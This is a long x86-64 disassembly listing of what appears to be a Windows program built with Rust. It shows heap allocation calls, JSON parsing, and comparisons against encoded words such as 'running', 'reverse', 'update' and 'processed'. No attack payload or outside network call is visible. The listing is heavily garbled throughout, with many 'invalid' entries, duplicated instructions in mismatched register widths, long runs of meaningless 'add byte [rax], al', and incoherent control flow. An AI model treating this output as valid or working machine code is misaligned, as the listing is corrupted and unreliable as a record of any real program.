mov r15, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x118]
lea rbx, [rsp + 0x90]
mov rcx, r15
and al, 0x18
add dword [rax], eax
add byte [rax - 0x73], cl
pushfq
and al, 0x90
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov r8, rbx
call fcn.140081f70
mov r12, rax
mov r14, rdx
cmp qword [rsp + 0x110], 0
mov esp, 0x11024
add byte [rax], al
je 0x14002ab6a
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
sahf
pop rax
or byte [rax], al
test r12, r12
test esp, esp
je 0x14002ac87
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0xce677
test rcx, rcx
jne 0x14002ab9f
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14002be2e
mov rcx, rax
mov qword [0x1400f91f8], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
or byte [rax], al
test rax, rax
je 0x14002be2e
invalid
mov qword [rax], r14
mov qword [rsi], rax
lea rax, [0x1400b0c00]
cmp eax, 0x48000860
mov dword [rsi + 8], eax
cmp eax, 0x48000860
mov dword [rsi + 8], eax
mov byte [rsi + 0x1b], 2
cmp qword [rsp + 0x68], 0
je 0x14002af17
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
out 0xc, al
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14002af17
test rbx, rbx
je 0x14002aa45
lea rax, [rdi + rbx]
mov rdx, rdi
jmp 0x14002ac1c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14002aa45
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x14002ac10
cmp r8b, 0xe0
jb 0x14002ac00
cmp r8b, 0xed
jne 0x14002ac5e
cmp rcx, rax
je 0x14002aa45
lea rcx, [rdx + 2]
cmp rcx, rax
cmp ecx, eax
je 0x14002aa45
cli
std
invalid
cmp byte [rdx + 1], 0x9f
ja 0x14002c0f4
add rdx, 3
mov rcx, rdx
jmp 0x14002ac10
shr ebx, 1
mov dl, 0x48
add edx, 2
invalid
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
add ecx, edx
cmp r8b, 0xf0
jb 0x14002ac10
xor edx, edx
cmp rcx, rax
cmp ecx, eax
ror byte [rax + 0x39], cl
ror dword [rdi], 0x95
ret 0x148
setne dl
add rcx, rdx
jmp 0x14002ac10
mov qword [rsp + 0xf8], rsi
cmp qword [rsp + 0x68], 0
cmp dword [rsp + 0x68], 0
cmp dword [rsp + 0x68], 0
je 0x14002aca9
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
push rdi
or byte [rax], al
push rdi
or byte [rax], al
mov qword [rsp + 0xa8], r14
mov qword [rsp + 0xb0], 1
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
push rdi
ror byte [rdi], 0x11
test byte [rax + rdi*4], ah
add byte [rax], al
add dh, al
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xc8], 0
mov qword [rsp + 0x90], 1
mov dword [rsp + 0x90], 1
nop
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax], al
movups xmmword [rsp + 0x98], xmm0
add byte [rax], al
movups xmmword [rsp + 0x98], xmm0
cwde
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xd0], 0x80
invalid
invalid
je 0x14002ad14
add byte [rax], al
mov byte [rsp + 0xd0], 0x80
lea r14, [rsp + 0x60]
lea esi, [rsp + 0x60]
or byte [rbp + rcx*4 + 0x74], 0x24
lea esi, [rsp + 0x60]
invalid
lea r15, [rsp + 0x108]
lea edi, [rsp + 0x108]
lea rbp, [0x1400ef4d0]
or al, 0
mov rdi, qword [sym.imp.kernel32.dll_HeapFree]
add bl, ch
xor ecx, dword [rdi]
invalid
jmp 0x14002ad3c
add qword [rsp + 0xc0], r8
add dword [rsp + 0xc0], eax
inc qword [rsp + 0xb0]
mov qword [rsp + 0xb8], 0
and al, 0xb8
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax + rdi*4], ah
and al, 0xb8
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
mov byte [rsp + 0xc9], 0xa
test byte [rcx + rcx*8], ah
add byte [rax], al
add byte [rdx], cl
mov byte [rsp + 0xc8], 0
and al, 0xc8
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x108], 0
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add bl, ch
sbb ah, byte [rsi + 0x2e]
nop dword [rax + rax]
mov rax, r12
shr rax, 0x20
jmp 0x14002ad60
loopne 0x14002ad9c
shr eax, 0x20
cmp eax, 0x23
jne 0x14002ae7b
add dword [rax], eax
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa8
add byte [rax], al
add byte [rcx - 0x47], al
add dword [rax], eax
add byte [rax], al
mov rdx, qword [rsp + 0xa8]
mov r9d, 1
mov rcx, r14
mov r8, r15
clc
clc
call fcn.140082480
cmp qword [rsp + 0x60], 0
cmp dword [rsp + 0x60], 0
je case.default.0x14002ad98
mov r12, qword [rsp + 0x68]
mov eax, r12d
and eax, 3
movsxd rax, dword [rbp + rax*4]
add rax, rbp
invalid
jmp rax
cmp byte [r12 + 0x10], 0x23
jl 0x14002adc2
adc byte [rbx], ah
and esi, dword [rsi + rdi*4 - 0x17]
invalid
je 0x14002ad60
jmp 0x14002ae7b
add byte [rbp - 0x75], cl
insb byte [rdi], dx
and al, 0xff
mov rsi, qword [r12 + 7]
mov esi, dword [rsp + 7]
and al, 7
mov rcx, r13
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14002adeb
cmp qword [rsi + 0x10], 0x11
jb 0x14002addd
mov r13, qword [r13 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r13
call rdi
dec r12
mov rcx, qword [0x1400f91f8]
or eax, 0xce403
xor edx, edx
mov r8, r12
call rdi
jmp 0x14002ad60
jmp qword [rsi + 0x66]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
jl 0x14002ae38
cmp qword [rsp + 0x68], 0
je 0x14002bb59
push 0x3d840f00
or eax, 0xb60f0000
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rbx + rcx*4 - 0x7c], cl
mov r8, qword [rsp + 0xb8]
inc r8
cmp eax, 0xa
invalid
test al, bl
invalid
movzx eax, byte [rsp + 0x108]
mov r8, qword [rsp + 0xb8]
mov eax, 0x49000000
inc eax
inc r8
cmp eax, 0xa
je 0x14002ad10
fdivr st(6)
invalid
mov qword [rsp + 0xb8], r8
mov byte [rsp + 0xc8], 1
add byte [rax], al
add byte [rcx], al
mov byte [rsp + 0xc9], al
cmp eax, 0x20
clc
and byte [rdi], cl
xchg ebx, edx
rol dword [rax], cl
add byte [rax], al
clc
and byte [rdi], cl
xchg ebx, edx
rol dword [rax], cl
add byte [rax], al
mov ecx, eax
movabs rdx, 0x100002200
mov edx, 0x2200
add dword [rax], eax
add byte [rax], al
bt rdx, rcx
jae case.0x140075b85.223
invalid
rol dword [rax], cl
add byte [rax], al
mov ecx, eax
movabs rdx, 0x100002200
mov edx, 0x2200
add dword [rax], eax
add byte [rax], al
mov edx, 0x2200
add dword [rax], eax
add byte [rax], al
bt rdx, rcx
jae case.0x140075b85.223
add byte [rax], al
add dh, al
mov byte [rsp + 0xc8], 0
test byte [rax + rcx*8], ah
and al, 0xc8
add byte [rax], al
add byte [rax], al
jmp 0x14002ad3c
mov rcx, r12
call fcn.1400ad9e0
mov rdi, rax
mov edi, eax
mov rbp, qword [rsp + 0xf8]
add byte [rax], al
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.kernel32.dll_CloseHandle]
and al, 0x55
or byte [rax], al
mov word [rax + rbp*4], fs
add byte [rax], al
add bh, bh
adc eax, 0x85524
and al, 0x55
or byte [rax], al
and al, 0x55
or byte [rax], al
cmp qword [rsp + 0x98], 0
je 0x14002aebe
add byte [rdi + rdx + 0x4c], dh
mov eax, dword [rsp + 0x90]
mov r8, qword [rsp + 0x90]
mov rcx, qword [0x1400f91f8]
or al, 0
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movzx eax, byte [0x1400f92c0]
add eax, 0xce3fb
mov rcx, qword [0x1400f91f8]
add byte [rax - 0x7b], cl
leave
test rcx, rcx
jne 0x14002aeea
sbb edi, edi
adc eax, 0x85519
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14002be2e
test byte [rsi + 0xf], cl
add byte [rax], al
sldt word [rax]
mov rcx, rax
mov qword [0x1400f91f8], rax
jrcxz 0x14002aef5
invalid
jrcxz 0x14002aef5
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
mov r8d, 8
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapAlloc]
invalid
push rbp
or byte [rax], al
invalid
test rax, rax
je 0x14002be2e
mov qword [rax], rdi
mov qword [rbp], rax
lea rax, fcn.14000b4d0
mov qword [rbp + 8], rax
mov byte [rbp + 0x1b], 2
add cl, byte [rax - 0x7f]
invalid
add rsp, 0x198
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movabs r15, 0x100002600
mov edi, 0x2600
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx - 0x7bf0a408], al
cmp eax, 0x5b
invalid
test dl, al
or al, byte [rax]
cmp eax, 0x5b
pop rbx
je 0x14002ba00
add byte [rbx - 0x74b78408], al
lodsb al, byte [rsi]
and al, 0xf8
add byte [rax], al
add byte [rdi], cl
test dword [rbp + 0xc], edx
add byte [rax], al
cmp eax, 0x7b
mov rbp, qword [rsp + 0xf8]
jne 0x14002bba4
push rbp
or al, 0
add dh, bh
mov word [rax + rdx*8], fs
and al, 0xd0
dec byte [rsp + 0xd0]
je 0x14002bb81
add byte [rax], al
add byte [rdi], cl
test byte [0x10602af69], ah
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xc8], 0
mov byte [rsp + 0x8f], 2
xor eax, eax
ror byte [rbp + rcx*4 + 0x74], 0x24
invalid
lea r15, [rsp + 0x108]
or byte [rcx], al
add byte [rax], al
pop qword [rax]
add byte [rax], al
add dh, byte [rcx]
ror byte [rbp + rcx*4 + 0x74], 0x24
invalid
or byte [rcx], al
add byte [rax], al
mov byte [rsp + 0x5e], 2
mov byte [rsp + 0x5f], 2
and al, 0x5f
invalid
and al, 0x5f
pop rdi
add al, dh
and al, 0x47
and al, 0x47
mov byte [rsp + 0x47], 2
lea r12, [0x1400ef4f0]
lea esp, [0x1400ef4f0]
and al, 0x47
add cl, byte [rbp + rcx*4 + 0x25]
lea esp, [0x1400ef4f0]
pop rdi
or al, 0
xor ecx, ecx
mov qword [rsp + 0x48], rcx
xor rcx, rcx
xor rcx, rcx
mov qword [rsp + 0x100], rcx
test al, al
je 0x14002b0ca
test byte [rax], ah
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x84
and al, 0xc9
add byte [rax], al
add cl, ch
movzx eax, byte [rsp + 0xc9]
jmp 0x14002b0a6
out dx, eax
add byte [rax], al
invalid
out dx, eax
add byte [rax], al
add byte [rax - 0x77], cl
mov rax, rbx
shr rax, 0x20
shr eax, 0x20
cmp eax, 0x23
mov rax, rbx
shr rax, 0x20
shr eax, 0x20
shr eax, 0x20
cmp eax, 0x23
jne case.0x14002b000.2
mov rdx, qword [rsp + 0xa8]
mov r9d, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
int1
mov r8, r15
call fcn.140082480
je 0x14002afe4
add byte [rax - 0x7d], cl
jl 0x14002b008
invalid
invalid
je case.default.0x14002b000
je 0x14002afe4
add byte [rax - 0x7d], cl
jl 0x14002b008
invalid
add byte [rdx + rsi*2 + 0x48], dh
mov ebx, dword [rsp + 0x68]
and al, 0x68
mov rbx, qword [rsp + 0x68]
mov eax, ebx
and eax, 3
lea rcx, [0x1400ef4e0]
lea ecx, [0x1400ef4e0]
lea ecx, [0x1400ef4e0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
loopne 0x14002af83
cmp byte [rbx + 0x10], 0x23
je 0x14002afc7
jnp case.0x14006b1f5.190
and esi, dword [rdi + rdi*4 - 0x17]
out 0xa, eax
add byte [rax], al
jmp case.0x14002b000.2
cmp byte [rbx + 0xf], 0x23
jne case.0x14002b000.2
add byte [rax], al
add byte [rax], al
mov r13, qword [rbx - 1]
mov rsi, qword [rbx + 7]
mov rcx, r13
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14002b044
invalid
cmp qword [rsi + 0x10], 0x11
jb 0x14002b036
add al, 0x4d
mov ebp, dword [rbp - 8]
insd dword [rdi], dx
clc
mov r13, qword [r13 - 8]
insd dword [rdi], dx
clc
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r13
call rdi
xlatb
xlatb
dec rbx
mov rcx, qword [0x1400f91f8]
or al, 0
add byte [rcx], dh
xor edx, edx
ror byte [rcx - 0x77], cl
fdivr st(7)
xlatb
mov r8, rbx
call rdi
jmp 0x14002afc7
cmp qword [rsp + 0x68], 0
je 0x14002bcdb
or al, 0
invalid
or al, 0
add byte [rdi], cl
mov dh, 0x84
test byte [rax + rcx], ah
movzx eax, byte [rsp + 0x108]
mov rcx, qword [rsp + 0xb8]
inc rcx
sar dword [rdx + rcx], 0x75
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + rdi*4], fs
add byte [rax], al
add byte [rax - 1], cl
sar dword [rdx + rcx], 0x75
adc cl, byte [rax + 1]
add qword [rsp + 0xc0], rcx
inc qword [rsp + 0xb0]
mov al, 0
add byte [rax], al
mov word [rax + rax*8], fs
and al, 0xc0
add byte [rax], al
add byte [rax - 1], cl
test byte [rax + rsi*4], ah
mov al, 0
add byte [rax], al
xor ecx, ecx
xor ecx, ecx
mov qword [rsp + 0xb8], rcx
mov byte [rsp + 0xc8], 1
add byte [rcx], al
mov eax, 0xc6000000
add byte [rax], al
add dh, al
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rcx], al
mov byte [rsp + 0xc9], al
test byte [rcx + rcx*8], ah
and al, 0xc9
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc8
movzx ecx, al
cmp cl, 0x2c
ja 0x14002b229
add dword [rax], eax
add byte [rax - 0x46], cl
add byte [rsi], ah
add byte [rax], al
add dword [rax], eax
add byte [rax], al
movabs rdx, 0x100002600
bt rdx, rcx
jae 0x14002b0d7
adc eax, 0xc82484c6
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xc8], 0
mov byte [rsp + 0x108], 0
test byte [rax + rcx], ah
and al, 8
add dword [rax], eax
add byte [rax], al
jmp 0x14002afc7
cmp rcx, 0x2c
jne 0x14002b229
add qword [rax], rax
invalid
add qword [rax], rax
add dh, dh
test byte [rax + rax], ah
add byte [rcx], al
add byte [rax], al
invalid
test byte [rsp + 0x100], 1
add byte [rcx], al
add byte [rax], al
add dword [rbp + 0x2b], esi
jne 0x14002b116
jmp 0x14002bd47
or al, 0
add byte [rax + 1], cl
add qword [rsp + 0xc0], rcx
inc qword [rsp + 0xb0]
mov qword [rsp + 0xb8], 0
mov word [rsp + 0xc8], 0xa01
invalid
add qword [rsp + 0xc0], rcx
inc qword [rsp + 0xb0]
mov al, 0
add byte [rax], al
mov qword [rsp + 0xb8], 0
mov dword [rsp + 0xb8], 0
mov word [rsp + 0xc8], 0xa01
enter 0, 0
add dword [rdx], ecx
mov byte [rsp + 0xc8], 0
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add dh, al
test byte [rax + rcx], ah
and al, 8
mov byte [rsp + 0x108], 0
and al, 8
add dword [rax], eax
add byte [rax], al
jmp case.0x140028802.17
add byte [rax], al
add byte [rax], al
mov rax, rbx
mov eax, ebx
mov eax, ebx
shr rax, 0x20
shr eax, 0x20
cmp eax, 0x23
jne case.0x14002b000.2
mov rdx, qword [rsp + 0xa8]
test al, 0
add byte [rax], al
mov r9d, 1
mov rcx, r14
mov ecx, esi
add byte [rcx + rcx*4 - 0xf], cl
int1
mov r8, r15
call fcn.140082480
cmp qword [rsp + 0x60], 0
je case.default.0x14002b172
mov rbx, qword [rsp + 0x68]
and al, 0x68
mov eax, ebx
and eax, 3
loopne 0x14002b16e
fadd dword [rbx + 0x634903e0]
add al, 0x84
loopne 0x14002b16e
movsxd rax, dword [r12 + rax*4]
test byte [rcx + rax - 0x20], cl
add rax, r12
add eax, esp
jmp rax
cmp byte [rbx + 0x10], 0x23
je case.0x140028802.17
jmp case.0x14002b000.2
or dword [rax], eax
add byte [rbx + rcx*4 + 0x6b], cl
dec dword [rax - 0x75]
mov rsi, qword [rbx + 7]
mov rcx, r13
call qword [rsi]
cmp qword [rsi + 8], 0
cmp dword [rsi + 8], 0
cmp dword [rsi + 8], 0
jle case.0x1400279e4.214
add byte [rcx + rbx + 0x48], dh
cmp dword [rsi + 0x10], 0x11
je case.0x140027163.60
cmp qword [rsi + 0x10], 0x11
jb 0x14002b1a9
mov r13, qword [r13 - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r13
mov eax, ebp
mov eax, ebp
call rdi
dec rbx
mov rcx, qword [0x1400f91f8]
retf
xor edx, edx
mov r8, rbx
call rdi
xlatb
jmp case.0x140028802.17
cmp qword [rsp + 0x68], 0
je 0x14002bc7d
invalid
movzx eax, byte [rsp + 0x108]
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rsp + 0xb8]
mov word [rax + rdi*4], fs
add byte [rax], al
add byte [rax], al
add byte [rax - 1], cl
rol dword [rbx - 0x7bf0f508], 0xfb
invalid
inc rcx
cmp eax, 0xa
je case.0x14004ab59.37
invalid
mov qword [rsp + 0xb8], rcx
mov byte [rsp + 0xc8], 1
add byte [rcx], al
mov word [rax + rdi*4], fs
add byte [rax], al
add dh, al
test byte [rax + rcx*8], ah
add byte [rax], al
add byte [rcx], al
mov byte [rsp + 0xc9], al
and al, 0xc9
add byte [rax], al
add byte [rbx + 0x2f7720f8], al
invalid
cmp eax, 0x20
ja 0x14002b240
invalid
mov ecx, eax
movabs rdx, 0x100002200
add byte [rdx], ah
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0xf], cl
movabs dword [0xebfffffeef820fca], eax
retf 0x820f
out dx, eax
invalid
invalid
invalid
invalid
bt rdx, rcx
jb 0x14002b116
jmp 0x14002b240
invalid
cmp ecx, 0x7d
je 0x14002bc01
or dword [rax], eax
invalid
stc
jge 0x14002b23c
test bh, cl
or dword [rax], eax
add dh, dh
test byte [rsp + 0x100], 1
test byte [rax + rax], ah
add dword [rax], eax
add byte [rcx], al
jne 0x14002bd79
cmp dword [rbx], ecx
add byte [rax], al
cmp al, 0x22
jne 0x14002bd34
and cl, byte [rdi]
test esp, ebp
or al, byte [rax]
add dh, al
mov byte [rsp + 0xc8], 0
mov byte [rsp + 0xc8], 0
mov qword [rsp + 0xa0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
add byte [rax], al
add byte [rax], al
mov rcx, r14
lea rdx, [rsp + 0xa8]
xchg esp, eax
and al, 0xa8
add byte [rax], al
add byte [rbp + rcx*4 - 0x7c], cl
invalid
invalid
test byte [rax + rdx*4], ah
nop
lea r8, [rsp + 0x90]
call fcn.1400169e0
invalid
add byte [rax], al
add al, ch
insb byte [rdi], dx
mov bh, 0xfe
inc dword [rbx + 0x260247c]
cmp dword [rsp + 0x60], 2
mov rbx, qword [rsp + 0x68]
je 0x14002baff
test byte [rbx + 8], bh
add byte [rax], al
test byte [rbx + 8], bh
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x70
and al, 0x70
mov rax, qword [rsp + 0x70]
mov eax, dword [rsp + 0x70]
and al, 0x70
jo 0x14002b2d2
add rax, 0xfffffffffffffffc
add eax, 0xfffffffc
cmp rax, 5
ja case.default.0x14002b2a5
clc
add eax, 0x186870f
add byte [rax], al
lea rcx, [0x1400ef500]
lea ecx, [0x1400ef500]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
or dword [rax + 1], 0x81e0ffc8
add eax, ecx
enter 0xffffffffffffe0ff, 0xffffffffffffff81
jmp rax
loopne 0x14002b229
cmp dword [rbx], 0x6f747561
cmp esp, dword [rcx + 0x75]
je 0x14002b31c
jne case.default.0x14002b2a5
add byte [rax], al
cmp byte [rsp + 0x8f], 2
mov esp, 0x8f24
add byte [rdx], al
add byte [rax], al
add cl, byte [rdi]
test ebp, esp
in eax, 0xd
add byte [rax], al
invalid
invalid
mov ah, 0x24
nop
add byte [rax], al
jne 0x14002c0a6
in eax, 0xd
add byte [rax], al
lea rsi, [rsp + 0x90]
mov rcx, rsi
add byte [rax - 0x77], cl
int1
call fcn.1400057e0
test rax, rax
std
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
jne 0x14002bafc
test eax, eax
jne 0x14002bafc
mov rcx, r14
mov rdx, rsi
bnd call fcn.140017530
bnd call fcn.140017530
ret 0xfffe
invalid
inc dword [rax + 0x60247c]
cmp byte [rsp + 0x60], 0
jne 0x14002bce9
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x8f], al
test byte [rdi + rcx*4], ah
add byte [rax], al
invalid
test byte [rdi + rcx*4], ah
add byte [rax], al
add cl, ch
loopne 0x14002b305
pop qword [rax]
add byte [rax], al
jmp 0x14002b9e1
add byte [rax], al
add byte [rbx + 0x7572b903], cl
outsb dx, byte [rsi]
mov eax, dword [rbx]
mov ecx, 0x6e6e7572
jne 0x14002b375
outsb dx, byte [rsi]
xor eax, ecx
mov ecx, dword [rbx + 3]
invalid
add edi, dword [rdx + 0x676e696e]
mov edx, 0x676e696e
xor ecx, edx
xor ecx, edx
ror dword [rcx], 1
ror dword [rdi], 0x84
cmp eax, 0x8b000006
add edi, dword [rcx + 0x65766572]
or ecx, eax
je 0x14002b959
mov eax, dword [rbx]
mov ecx, 0x65766572
xor eax, ecx
mov ecx, dword [rbx + 3]
mov edx, 0x65737265
xor ecx, edx
or ecx, eax
jne case.default.0x14002b2a5
cmp byte [rsp + 0x5e], 2
jne 0x14002c150
invalid
add byte [rax], al
invalid
add byte [rax], al
lea rsi, [rsp + 0x90]
mov rcx, rsi
mov ecx, esi
mov ah, 0x24
nop
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, esi
mov ecx, esi
call fcn.1400057e0
test rax, rax
jne 0x14002bafc
std
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
movabs eax, dword [0x8948f1894c000007]
mov ecx, esi
invalid
invalid
mov rcx, r14
mov ecx, esi
mov rdx, rsi
mov edx, esi
bnd call fcn.140017530
call fcn.140017530
cmp byte [rsp + 0x60], 0
jne 0x14002bce9
movzx eax, byte [rsp + 0x61]
mov byte [rsp + 0x5e], al
jmp 0x14002b9e1
add byte [rax], al
invalid
add byte [rax], al
mov eax, dword [rbx]
mov ecx, 0x61647075
xor eax, ecx
movzx ecx, word [rbx + 4]
xor ecx, 0x6574
or ecx, eax
jne case.default.0x14002b2a5
cmp qword [rsp + 0x48], 0
cmp dword [rsp + 0x48], 0
jne 0x14002c054
lea rsi, [rsp + 0x90]
add byte [rax], al
mov rcx, rsi
int1
call fcn.1400057e0
test rax, rax
ror byte [rdi], 0x85
xchg ebx, eax
or dword [rax], eax
invalid
or dword [rax], eax
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov rdx, rsi
call fcn.1400172a0
invalid
dec dword [rax - 0x75]
and al, 0x60
and al, 0x60
and al, 0x60
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
mov rax, rcx
mov qword [rsp + 0x48], rcx
mov dword [rsp + 0x48], ecx
test rcx, rcx
je 0x14002bd5a
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x190], rax
nop
add dword [rax], eax
add cl, ch
in eax, 5
add byte [rax], al
nop
add dword [rax], eax
add cl, ch
in eax, 5
add byte [rax], al
mov rax, qword [rbx]
mov eax, dword [rbx]
movabs rcx, 0x65737365636f7270
xor rax, rcx
movzx ecx, byte [rbx + 8]
xor rcx, 0x64
or rcx, rax
je 0x14002b99e
lea rcx, [rsp + 0x90]
call fcn.1400057e0
test rax, rax
jne 0x14002bafc
mov qword [rsp + 0xa0], 0
movzx eax, byte [rsp + 0xc8]
enter 0, 0
movabs al, byte [0xf00000000000000]
mov dh, 0x84
and al, 0xc8
enter 0, 0
xor r13d, r13d
enter 0, 0
xor r13d, r13d
test al, al
je 0x14002b460
movzx ebx, byte [rsp + 0xc9]
lea rcx, [rsp + 0x90]
jmp 0x14002b499
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rdx*4], fs
add byte [rax], al
add bl, ch
cmp dword [rcx + rcx*4 - 0xf], ecx
mov rcx, r14
lea rdx, [rsp + 0xa8]
call section..text
movzx eax, byte [rsp + 0x60]
xchg esp, eax
and al, 0xa8
add byte [rax], al
add al, ch
nop
pop rbx
std
dec dword [rdi]
mov dh, 0x44
and al, 0x60
test eax, eax
lea rcx, [rsp + 0x90]
jne 0x14002bd05
or byte [rax], 0
invalid
or byte [rax], 0
add byte [rdi], cl
mov dh, 0x5c
and al, 0x61
movzx ebx, byte [rsp + 0x61]
mov byte [rsp + 0xc8], 1
mov byte [rsp + 0xc9], bl
pushfq
and al, 0xc9
add byte [rax], al
invalid
pushfq
and al, 0xc9
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc3
movzx eax, bl
cmp al, 0x2d
ja 0x14002b4df
movabs rcx, 0x100002600
add byte es:[rax], al
add dword [rax], eax
add byte [rax], al
bt rcx, rax
jae case.0x14004ab59.65
mov byte [rsp + 0xc8], 0
add byte [rax], al
add byte [rax], al
jmp 0x14002b460
cmp rax, 0x22
je 0x14002b5a5
invalid
add byte [rax - 0x7d], cl
clc
sub eax, 0x248c8d48
nop
add byte [rax], al
add byte [rbp + 0xd], dh
invalid
cmp rax, 0x2d
lea rcx, [rsp + 0x90]
jne 0x14002b4df
invalid
or eax, 0xc82484c6
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0xc8], 0
jmp 0x14002b5c8
add eax, 0xffffffa5
cmp eax, 0x20
ja case.0x14002b4f9.92
lea rdx, [0x1400ef518]
movsxd rax, dword [rdx + rax*4]
invalid
add al, 0x82
add rax, rdx
jmp rax
invalid
movzx r8d, r13b
and r8d, 1
mov rax, qword [rsp + 0x98]
mov eax, dword [rsp + 0x98]
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xa0
movabs al, byte [0x394cd02948000000]
invalid
mov rdx, qword [rsp + 0xa0]
sub rax, rdx
sub eax, edx
movabs al, byte [0x394cd02948000000]
ror byte [rdi], 0x82
invalid
sbb al, 3
add byte [rax], al
sub eax, edx
cmp rax, r8
jb 0x14002b83b
invalid
test r13b, 1
vpcmpeqb xmm10, xmm15, xmmword [rsi]
je 0x14002b53b
invalid
mov rax, qword [rsp + 0x90]
movzx ecx, byte [rsp + 0x100]
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
mov byte [rax + rdx], cl
inc rdx
invalid
ret 0x8948
mov qword [rsp + 0xa0], rdx
mov byte [rsp + 0xc8], 0
mov dword [rsp + 0x12c], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jmp 0x14002b619
invalid
test byte [rax + rcx*8], ah
add byte [rax], al
jmp 0x14002b619
mov byte [rsp + 0xc8], 0
add byte [rax], al
add byte [rax], al
mov r8d, 4
mov eax, 4
lea rdx, [0x1400b0dce]
jmp 0x14002b59e
mov byte [rsp + 0xc8], 0
and al, 0xc8
add byte [rax], al
add byte [rax], al
mov r8d, 3
lea rdx, str.ullruealseC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_serde_json_1.0.108_srcde.rs
pop rax
or byte [rax], al
pop rax
or byte [rax], al
jmp 0x14002b59e
mov byte [rsp + 0xc8], 0
mov r8d, 3
lea rdx, [0x1400b0dcb]
call fcn.140004a80
jmp 0x14002b5cd
mov byte [rsp + 0xc8], 0
lea rcx, [rsp + 0xa8]
mov word [rax + rbp*4], fs
add byte [rax], al
add al, ch
mov cl, 0xfe
invalid
jmp 0x14002b5cd
mov word [rax + rbp*4], fs
add byte [rax], al
add al, ch
mov cl, 0xfe
invalid
add bl, 0xd0
cmp bl, 0xa
jae 0x14002c029
invalid
or al, byte [rax]
invalid
invalid
call fcn.140005180
test rax, rax
jne 0x14002bafc
add byte [rax], al
add byte [rax], al
mov al, 1
mov dword [rsp + 0x12c], eax
test r13b, 1
je 0x14002b5ef
movzx ebx, byte [rsp + 0x100]
jmp 0x14002b619
mov rax, qword [rsp + 0xa0]
test rax, rax
je 0x14002b9e1
lea rcx, [rax - 1]
mov qword [rsp + 0xa0], rcx
mov rcx, qword [rsp + 0x90]
movzx ebx, byte [rcx + rax - 1]
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x100], bl
test al, al
sete cl
